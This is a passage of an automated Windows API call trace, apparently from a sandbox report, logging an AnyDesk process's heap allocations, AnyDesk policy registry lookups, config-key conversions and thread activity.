cchWideChar=28 | out: lpWideCharStr="reg config watcher policies") returned 28 [0190.881] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe32038 [0190.881] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe32138 [0190.881] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32038 | out: hHeap=0x3b0000) returned 1 [0190.882] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe31fb8 | out: hHeap=0x3b0000) returned 1 [0190.882] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x178 [0190.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x143ee60, lpParameter=0x36d964, dwCreationFlags=0x4, lpThreadId=0x36d978 | out: lpThreadId=0x36d978*=0xa10) returned 0x1f4 [0190.884] ResumeThread (hThread=0x1f4) returned 0x1 [0190.884] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0190.884] CloseHandle (hObject=0x178) returned 1 [0190.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a05f60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0190.884] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe0f480 [0190.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a05f60, cbMultiByte=-1, lpWideCharStr=0xe0f480, cchWideChar=23 | out: lpWideCharStr="ad.restart.restore_bcd") returned 23 [0190.885] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe0f4f0 [0190.885] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe0f598 [0190.885] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe362a0 [0190.885] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe0f560 [0190.885] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0f598 | out: hHeap=0x3b0000) returned 1 [0190.885] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0f480 | out: hHeap=0x3b0000) returned 1 [0190.885] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1) returned 0xe374b8 [0190.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0190.885] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe374a8 [0190.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe374a8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0190.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0190.886] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe37488 [0190.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe37488, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0190.886] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe374a8 | out: hHeap=0x3b0000) returned 1 [0190.886] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe37028 [0190.886] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37488 | out: hHeap=0x3b0000) returned 1 [0190.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cb4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0190.886] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe37040 [0190.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cb4, cbMultiByte=-1, lpWideCharStr=0xe37040, cchWideChar=5 | out: lpWideCharStr="true") returned 5 [0190.886] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37040 | out: hHeap=0x3b0000) returned 1 [0190.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cbc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0190.887] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe37040 [0190.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cbc, cbMultiByte=-1, lpWideCharStr=0xe37040, cchWideChar=6 | out: lpWideCharStr="false") returned 6 [0190.887] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37040 | out: hHeap=0x3b0000) returned 1 [0190.887] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37028 | out: hHeap=0x3b0000) returned 1 [0190.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a00fd8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0190.888] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe31fb8 [0190.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a00fd8, cbMultiByte=-1, lpWideCharStr=0xe31fb8, cchWideChar=27 | out: lpWideCharStr="ad.service.remove_at_start") returned 27 [0190.888] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe32038 [0190.888] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe320f8 [0190.888] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe362c0 [0190.888] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe321b8 [0190.888] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe320f8 | out: hHeap=0x3b0000) returned 1 [0190.888] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe31fb8 | out: hHeap=0x3b0000) returned 1 [0190.888] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1) returned 0xe37488 [0190.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0190.889] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe374a8 [0190.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe374a8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0190.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0190.889] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47b60 [0190.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe47b60, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0190.889] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe374a8 | out: hHeap=0x3b0000) returned 1 [0190.889] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe37028 [0190.889] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47b60 | out: hHeap=0x3b0000) returned 1 [0190.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cb4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0190.889] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe37040 [0190.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cb4, cbMultiByte=-1, lpWideCharStr=0xe37040, cchWideChar=5 | out: lpWideCharStr="true") returned 5 [0190.889] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37040 | out: hHeap=0x3b0000) returned 1 [0190.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cbc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0190.889] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe37040 [0190.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cbc, cbMultiByte=-1, lpWideCharStr=0xe37040, cchWideChar=6 | out: lpWideCharStr="false") returned 6 [0190.889] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37040 | out: hHeap=0x3b0000) returned 1 [0190.889] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37028 | out: hHeap=0x3b0000) returned 1 [0190.889] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47b60 [0190.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0190.890] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47b70 [0190.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe47b70, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0190.890] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47b80 [0190.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0190.890] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe47b90 [0190.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe47b90, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0190.890] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47b90 | out: hHeap=0x3b0000) returned 1 [0190.890] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x43) returned 0xe2f718 [0190.890] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe0f480 [0190.891] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f718 | out: hHeap=0x3b0000) returned 1 [0190.891] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47b90 [0190.891] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe362e0 [0190.891] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3c) returned 0xe104c8 [0190.891] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47b90 | out: hHeap=0x3b0000) returned 1 [0190.891] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47b80 | out: hHeap=0x3b0000) returned 1 [0190.891] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe0f598 [0190.891] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.twofactorauthkey", lpReserved=0x0, lpType=0x271f680, lpData=0x0, lpcbData=0x271f684*=0x0 | out: lpType=0x271f680*=0x0, lpData=0x0, lpcbData=0x271f684*=0x0) returned 0x6 [0190.891] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x271f6ac | out: phkResult=0x271f6ac*=0x0) returned 0x2 [0190.892] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0f598 | out: hHeap=0x3b0000) returned 1 [0190.892] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47b80 [0190.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0190.892] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe47b90 [0190.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe47b90, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0190.892] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47b90 | out: hHeap=0x3b0000) returned 1 [0190.892] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x43) returned 0xe2f718 [0190.892] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe0f598 [0190.893] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f718 | out: hHeap=0x3b0000) returned 1 [0190.893] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47b90 [0190.893] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe36300 [0190.893] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3c) returned 0xe108b8 [0190.893] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47b90 | out: hHeap=0x3b0000) returned 1 [0190.893] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47b80 | out: hHeap=0x3b0000) returned 1 [0190.893] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe0f608 [0190.893] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.twofactorauthkey", lpReserved=0x0, lpType=0x271f680, lpData=0x0, lpcbData=0x271f684*=0x0 | out: lpType=0x271f680*=0x0, lpData=0x0, lpcbData=0x271f684*=0x0) returned 0x6 [0190.893] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x271f6ac | out: phkResult=0x271f6ac*=0x0) returned 0x2 [0190.893] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0f608 | out: hHeap=0x3b0000) returned 1 [0190.893] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47b70 | out: hHeap=0x3b0000) returned 1 [0190.893] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47b60 | out: hHeap=0x3b0000) returned 1 [0190.894] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xac) returned 0xe176c8 [0190.894] CreateFiberEx (dwStackCommitSize=0x0, dwStackReserveSize=0x0, dwFlags=0x1, lpStartAddress=0x13e6150, lpParameter=0xe176c8) returned 0x5c4c98 [0190.895] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe37028 [0190.895] GetLastError () returned 0x0 [0190.896] SetLastError (dwErrCode=0x0) [0190.896] GetLastError () returned 0x0 [0190.896] SetLastError (dwErrCode=0x0) [0190.896] GetLastError () returned 0x0 [0190.896] SetLastError (dwErrCode=0x0) [0190.896] GetLastError () returned 0x0 [0190.896] SetLastError (dwErrCode=0x0) [0190.896] GetLastError () returned 0x0 [0190.896] SetLastError (dwErrCode=0x0) [0190.896] GetLastError () returned 0x0 [0190.896] SetLastError (dwErrCode=0x0) [0190.896] GetLastError () returned 0x0 [0190.896] SetLastError (dwErrCode=0x0) [0190.896] GetLastError () returned 0x0 [0190.896] SetLastError (dwErrCode=0x0) [0190.896] GetLastError () returned 0x0 [0190.896] SetLastError (dwErrCode=0x0) [0190.896] WaitForSingleObject (hHandle=0xd8, dwMilliseconds=0xbb8) returned 0x0 [0190.897] GetSystemTime (in: lpSystemTime=0x271f680 | out: lpSystemTime=0x271f680*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x13, wMilliseconds=0x3c3)) [0190.897] GetCurrentThreadId () returned 0xa0c [0190.897] GetCurrentProcessId () returned 0x994 [0190.897] GetLastError () returned 0x0 [0190.897] SetLastError (dwErrCode=0x0) [0190.897] GetLastError () returned 0x0 [0190.897] SetLastError (dwErrCode=0x0) [0190.897] GetLastError () returned 0x0 [0190.897] SetLastError (dwErrCode=0x0) [0190.897] GetLastError () returned 0x0 [0190.897] SetLastError (dwErrCode=0x0) [0190.897] GetLastError () returned 0x0 [0190.897] SetLastError (dwErrCode=0x0) [0190.897] GetLastError () returned 0x0 [0190.897] SetLastError (dwErrCode=0x0) [0190.897] GetLastError () returned 0x0 [0190.897] SetLastError (dwErrCode=0x0) [0190.897] GetLastError () returned 0x0 [0190.898] SetLastError (dwErrCode=0x0) [0190.898] GetLastError () returned 0x0 [0190.898] SetLastError (dwErrCode=0x0) [0190.898] GetLastError () returned 0x0 [0190.898] SetLastError (dwErrCode=0x0) [0190.898] GetLastError () returned 0x0 [0190.898] SetLastError (dwErrCode=0x0) [0190.898] GetLastError () returned 0x0 [0190.898] SetLastError (dwErrCode=0x0) [0190.898] GetLastError () returned 0x0 [0190.898] SetLastError (dwErrCode=0x0) [0190.898] GetLastError () returned 0x0 [0190.898] SetLastError (dwErrCode=0x0) [0190.898] GetLastError () returned 0x0 [0190.898] SetLastError (dwErrCode=0x0) [0190.898] GetLastError () returned 0x0 [0190.898] SetLastError (dwErrCode=0x0) [0190.898] GetLastError () returned 0x0 [0190.899] SetLastError (dwErrCode=0x0) [0190.899] GetLastError () returned 0x0 [0190.899] SetLastError (dwErrCode=0x0) [0190.899] GetLastError () returned 0x0 [0190.899] SetLastError (dwErrCode=0x0) [0190.899] GetLastError () returned 0x0 [0190.899] SetLastError (dwErrCode=0x0) [0190.899] GetLastError () returned 0x0 [0190.899] SetLastError (dwErrCode=0x0) [0190.899] GetLastError () returned 0x0 [0190.899] SetLastError (dwErrCode=0x0) [0190.899] GetLastError () returned 0x0 [0190.899] SetLastError (dwErrCode=0x0) [0190.899] GetLastError () returned 0x0 [0190.899] SetLastError (dwErrCode=0x0) [0190.899] GetLastError () returned 0x0 [0190.899] SetLastError (dwErrCode=0x0) [0190.899] GetLastError () returned 0x0 [0190.900] SetLastError (dwErrCode=0x0) [0190.900] GetLastError () returned 0x0 [0190.900] SetLastError (dwErrCode=0x0) [0190.900] GetLastError () returned 0x0 [0190.900] SetLastError (dwErrCode=0x0) [0190.900] GetLastError () returned 0x0 [0190.900] SetLastError (dwErrCode=0x0) [0190.900] GetLastError () returned 0x0 [0190.900] SetLastError (dwErrCode=0x0) [0190.900] GetLastError () returned 0x0 [0190.900] SetLastError (dwErrCode=0x0) [0190.900] GetLastError () returned 0x0 [0190.900] SetLastError (dwErrCode=0x0) [0190.900] GetLastError () returned 0x0 [0190.900] SetLastError (dwErrCode=0x0) [0190.900] GetLastError () returned 0x0 [0190.900] SetLastError (dwErrCode=0x0) [0190.900] GetLastError () returned 0x0 [0190.900] SetLastError (dwErrCode=0x0) [0190.901] GetLastError () returned 0x0 [0190.901] SetLastError (dwErrCode=0x0) [0190.901] GetLastError () returned 0x0 [0190.901] SetLastError (dwErrCode=0x0) [0190.901] GetLastError () returned 0x0 [0190.901] SetLastError (dwErrCode=0x0) [0190.901] GetLastError () returned 0x0 [0190.901] SetLastError (dwErrCode=0x0) [0190.901] GetLastError () returned 0x0 [0190.901] SetLastError (dwErrCode=0x0) [0190.901] GetLastError () returned 0x0 [0190.901] SetLastError (dwErrCode=0x0) [0190.901] GetLastError () returned 0x0 [0190.901] SetLastError (dwErrCode=0x0) [0190.901] GetLastError () returned 0x0 [0190.901] SetLastError (dwErrCode=0x0) [0190.901] GetLastError () returned 0x0 [0190.901] SetLastError (dwErrCode=0x0) [0190.902] GetLastError () returned 0x0 [0190.902] SetLastError (dwErrCode=0x0) [0190.902] GetLastError () returned 0x0 [0190.902] SetLastError (dwErrCode=0x0) [0190.902] GetLastError () returned 0x0 [0190.902] SetLastError (dwErrCode=0x0) [0190.902] GetLastError () returned 0x0 [0190.902] SetLastError (dwErrCode=0x0) [0190.902] GetLastError () returned 0x0 [0190.902] SetLastError (dwErrCode=0x0) [0190.902] GetLastError () returned 0x0 [0190.902] SetLastError (dwErrCode=0x0) [0190.902] GetLastError () returned 0x0 [0190.902] SetLastError (dwErrCode=0x0) [0190.902] GetLastError () returned 0x0 [0190.902] SetLastError (dwErrCode=0x0) [0190.902] GetLastError () returned 0x0 [0190.902] SetLastError (dwErrCode=0x0) [0190.902] GetLastError () returned 0x0 [0190.903] SetLastError (dwErrCode=0x0) [0190.903] GetLastError () returned 0x0 [0190.903] SetLastError (dwErrCode=0x0) [0190.903] GetLastError () returned 0x0 [0190.903] SetLastError (dwErrCode=0x0) [0190.903] GetLastError () returned 0x0 [0190.903] SetLastError (dwErrCode=0x0) [0190.903] GetLastError () returned 0x0 [0190.903] SetLastError (dwErrCode=0x0) [0190.903] GetLastError () returned 0x0 [0190.903] SetLastError (dwErrCode=0x0) [0190.903] GetLastError () returned 0x0 [0190.903] SetLastError (dwErrCode=0x0) [0190.903] GetLastError () returned 0x0 [0190.903] SetLastError (dwErrCode=0x0) [0190.903] GetLastError () returned 0x0 [0190.903] SetLastError (dwErrCode=0x0) [0190.903] GetLastError () returned 0x0 [0190.904] SetLastError (dwErrCode=0x0) [0190.904] GetLastError () returned 0x0 [0190.904] SetLastError (dwErrCode=0x0) [0190.904] GetLastError () returned 0x0 [0190.904] SetLastError (dwErrCode=0x0) [0190.904] GetLastError () returned 0x0 [0190.904] SetLastError (dwErrCode=0x0) [0190.904] GetLastError () returned 0x0 [0190.904] SetLastError (dwErrCode=0x0) [0190.904] GetLastError () returned 0x0 [0190.907] SetLastError (dwErrCode=0x0) [0190.907] GetLastError () returned 0x0 [0190.907] SetLastError (dwErrCode=0x0) [0190.907] GetLastError () returned 0x0 [0190.907] SetLastError (dwErrCode=0x0) [0190.907] GetLastError () returned 0x0 [0190.907] SetLastError (dwErrCode=0x0) [0190.907] GetLastError () returned 0x0 [0190.907] SetLastError (dwErrCode=0x0) [0190.907] GetLastError () returned 0x0 [0190.907] SetLastError (dwErrCode=0x0) [0190.907] GetLastError () returned 0x0 [0190.907] SetLastError (dwErrCode=0x0) [0190.907] GetLastError () returned 0x0 [0190.907] SetLastError (dwErrCode=0x0) [0190.907] GetLastError () returned 0x0 [0190.908] SetLastError (dwErrCode=0x0) [0190.908] GetLastError () returned 0x0 [0190.908] SetLastError (dwErrCode=0x0) [0190.908] GetLastError () returned 0x0 [0190.908] SetLastError (dwErrCode=0x0) [0190.908] GetLastError () returned 0x0 [0190.908] SetLastError (dwErrCode=0x0) [0190.908] GetLastError () returned 0x0 [0190.908] SetLastError (dwErrCode=0x0) [0190.908] GetLastError () returned 0x0 [0190.908] SetLastError (dwErrCode=0x0) [0190.908] GetLastError () returned 0x0 [0190.908] SetLastError (dwErrCode=0x0) [0190.908] GetLastError () returned 0x0 [0190.908] SetLastError (dwErrCode=0x0) [0190.908] GetLastError () returned 0x0 [0190.908] SetLastError (dwErrCode=0x0) [0190.908] GetLastError () returned 0x0 [0190.908] SetLastError (dwErrCode=0x0) [0190.909] GetLastError () returned 0x0 [0190.909] SetLastError (dwErrCode=0x0) [0190.909] GetLastError () returned 0x0 [0190.909] SetLastError (dwErrCode=0x0) [0190.909] GetLastError () returned 0x0 [0190.909] SetLastError (dwErrCode=0x0) [0190.909] GetLastError () returned 0x0 [0190.909] SetLastError (dwErrCode=0x0) [0190.909] GetLastError () returned 0x0 [0190.909] SetLastError (dwErrCode=0x0) [0190.909] GetLastError () returned 0x0 [0190.909] SetLastError (dwErrCode=0x0) [0190.909] GetLastError () returned 0x0 [0190.909] SetLastError (dwErrCode=0x0) [0190.909] GetLastError () returned 0x0 [0190.909] SetLastError (dwErrCode=0x0) [0190.909] GetLastError () returned 0x0 [0190.909] SetLastError (dwErrCode=0x0) [0190.909] GetLastError () returned 0x0 [0190.910] SetLastError (dwErrCode=0x0) [0190.910] GetLastError () returned 0x0 [0190.910] SetLastError (dwErrCode=0x0) [0190.910] GetLastError () returned 0x0 [0190.910] SetLastError (dwErrCode=0x0) [0190.910] GetLastError () returned 0x0 [0190.910] SetLastError (dwErrCode=0x0) [0190.910] GetLastError () returned 0x0 [0190.910] SetLastError (dwErrCode=0x0) [0190.910] GetLastError () returned 0x0 [0190.910] SetLastError (dwErrCode=0x0) [0190.910] GetLastError () returned 0x0 [0190.910] SetLastError (dwErrCode=0x0) [0190.910] GetLastError () returned 0x0 [0190.910] SetLastError (dwErrCode=0x0) [0190.910] GetLastError () returned 0x0 [0190.910] SetLastError (dwErrCode=0x0) [0190.910] GetLastError () returned 0x0 [0190.911] SetLastError (dwErrCode=0x0) [0190.911] GetLastError () returned 0x0 [0190.911] SetLastError (dwErrCode=0x0) [0190.911] GetLastError () returned 0x0 [0190.911] SetLastError (dwErrCode=0x0) [0190.911] GetLastError () returned 0x0 [0190.911] SetLastError (dwErrCode=0x0) [0190.911] GetLastError () returned 0x0 [0190.911] SetLastError (dwErrCode=0x0) [0190.911] GetLastError () returned 0x0 [0190.911] SetLastError (dwErrCode=0x0) [0190.911] GetLastError () returned 0x0 [0190.911] SetLastError (dwErrCode=0x0) [0190.911] GetLastError () returned 0x0 [0190.911] SetLastError (dwErrCode=0x0) [0190.911] GetLastError () returned 0x0 [0190.911] SetLastError (dwErrCode=0x0) [0190.911] GetLastError () returned 0x0 [0190.912] SetLastError (dwErrCode=0x0) [0190.912] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6d8 [0190.912] WriteFile (in: hFile=0x144, lpBuffer=0x271ed8c*, nNumberOfBytesToWrite=0x79, lpNumberOfBytesWritten=0x271f6b8, lpOverlapped=0x0 | out: lpBuffer=0x271ed8c*, lpNumberOfBytesWritten=0x271f6b8*=0x79, lpOverlapped=0x0) returned 1 [0190.912] ReleaseMutex (hMutex=0xd8) returned 1 [0190.912] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe37040 [0190.912] SetEvent (hEvent=0x1c0) returned 1 [0190.912] GetCurrentThreadId () returned 0xa0c [0190.912] ConvertThreadToFiber (lpParameter=0x0) returned 0x5c4f98 [0190.912] GetLastError () returned 0x0 [0190.912] SetLastError (dwErrCode=0x0) [0190.912] WaitForSingleObject (hHandle=0xd8, dwMilliseconds=0xbb8) returned 0x0 [0190.912] GetSystemTime (in: lpSystemTime=0x271f714 | out: lpSystemTime=0x271f714*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x13, wMilliseconds=0x3d2)) [0190.912] GetCurrentThreadId () returned 0xa0c [0190.912] GetCurrentProcessId () returned 0x994 [0190.912] GetLastError () returned 0x0 [0190.913] SetLastError (dwErrCode=0x0) [0190.913] GetLastError () returned 0x0 [0190.913] SetLastError (dwErrCode=0x0) [0190.913] GetLastError () returned 0x0 [0190.913] SetLastError (dwErrCode=0x0) [0190.913] GetLastError () returned 0x0 [0190.913] SetLastError (dwErrCode=0x0) [0190.913] GetLastError () returned 0x0 [0190.913] SetLastError (dwErrCode=0x0) [0190.913] GetLastError () returned 0x0 [0190.913] SetLastError (dwErrCode=0x0) [0190.913] GetLastError () returned 0x0 [0190.913] SetLastError (dwErrCode=0x0) [0190.913] GetLastError () returned 0x0 [0190.913] SetLastError (dwErrCode=0x0) [0190.913] GetLastError () returned 0x0 [0190.913] SetLastError (dwErrCode=0x0) [0190.913] GetLastError () returned 0x0 [0190.914] SetLastError (dwErrCode=0x0) [0190.914] GetLastError () returned 0x0 [0190.914] SetLastError (dwErrCode=0x0) [0190.914] GetLastError () returned 0x0 [0190.914] SetLastError (dwErrCode=0x0) [0190.914] GetLastError () returned 0x0 [0190.915] WaitForMultipleObjects (nCount=0x3, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x2 [0190.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe37058 [0190.915] QueryPerformanceCounter (in: lpPerformanceCount=0x271f730 | out: lpPerformanceCount=0x271f730*=2582993137337) returned 1 [0190.915] RtlAllocateHeap 